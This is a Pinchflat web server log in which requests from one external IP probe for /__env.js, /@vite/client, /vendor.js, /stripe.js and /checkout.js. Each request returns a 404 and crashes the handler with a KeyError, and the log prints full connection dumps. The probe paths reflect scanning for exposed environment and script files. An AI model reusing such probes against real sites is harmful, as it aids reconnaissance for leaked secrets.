LIMIT 1 [] 15:40:13.690 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:13.690 [error] #PID<0.21375.0> running PinchflatWeb.Endpoint (connection #PID<0.21374.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /@vite/client ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /@vite/client (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21374.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/@vite/client", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51738}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21375.0>, params: %{}, path_info: ["@vite", "client"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/@vite/client", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfJyRXWH9NBIACL2B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21374.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/@vite/client", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51738}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /@vite/client (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21374.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/@vite/client", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51738}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21375.0>, params: %{}, path_info: ["@vite", "client"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/@vite/client", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfJyRXWH9NBIACL2B"} ], scheme: :http, (truncated) 15:40:13.792 [info] GET /__env.js 15:40:13.793 [debug] QUERY OK source="settings" db=0.2ms idle=311.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:13.793 [debug] QUERY OK source="settings" db=0.0ms idle=206.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:13.793 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:13.793 [error] #PID<0.21377.0> running PinchflatWeb.Endpoint (connection #PID<0.21376.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /__env.js ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /__env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21376.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/__env.js", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51750}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21377.0>, params: %{}, path_info: ["__env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/__env.js", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfKK8SEOV1SAACL2h"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21376.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/__env.js", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51750}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /__env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21376.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/__env.js", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51750}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21377.0>, params: %{}, path_info: ["__env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/__env.js", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfKK8SEOV1SAACL2h"} ], scheme: :http, script_name: [], secret_key_base: :.. (truncated) 15:40:13.897 [info] GET /vendor.js 15:40:13.897 [debug] QUERY OK source="settings" db=0.2ms idle=310.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:13.897 [debug] QUERY OK source="settings" db=0.1ms idle=207.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:13.897 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:13.898 [error] #PID<0.21381.0> running PinchflatWeb.Endpoint (connection #PID<0.21380.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /vendor.js ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /vendor (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21380.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/vendor.js", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51764}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21381.0>, params: %{}, path_info: ["vendor"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/vendor.js", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfKjwFwPcfn8ACL3B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21380.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/vendor.js", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51764}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /vendor (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21380.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/vendor.js", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51764}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21381.0>, params: %{}, path_info: ["vendor"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/vendor.js", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfKjwFwPcfn8ACL3B"} ], scheme: :http, script_name: [], secret_key (truncated) 15:40:14.000 [info] GET /stripe.js 15:40:14.000 [debug] QUERY OK source="settings" db=0.1ms idle=310.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:14.000 [debug] QUERY OK source="settings" db=0.0ms idle=207.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:14.001 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:14.001 [error] #PID<0.21383.0> running PinchflatWeb.Endpoint (connection #PID<0.21382.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /stripe.js ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /stripe (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21382.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/stripe.js", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51776}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21383.0>, params: %{}, path_info: ["stripe"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/stripe.js", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfK8ZuyoXyR8ACL3h"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21382.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/stripe.js", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51776}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /stripe (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21382.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/stripe.js", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51776}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21383.0>, params: %{}, path_info: ["stripe"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/stripe.js", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfK8ZuyoXyR8ACL3h"} ], scheme: :http, script_name: [], secret_key (truncated) 15:40:14.105 [info] GET /checkout.js 15:40:14.105 [debug] QUERY OK source="settings" db=0.1ms idle=207.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:14.105 [debug] QUERY OK source="settings" db=0.0ms idle=207.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:14.105 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:14.105 [error] #PID<0.21385.0> running PinchflatWeb.Endpoint (connection #PID<0.21384.0>, stream id 1) terminated 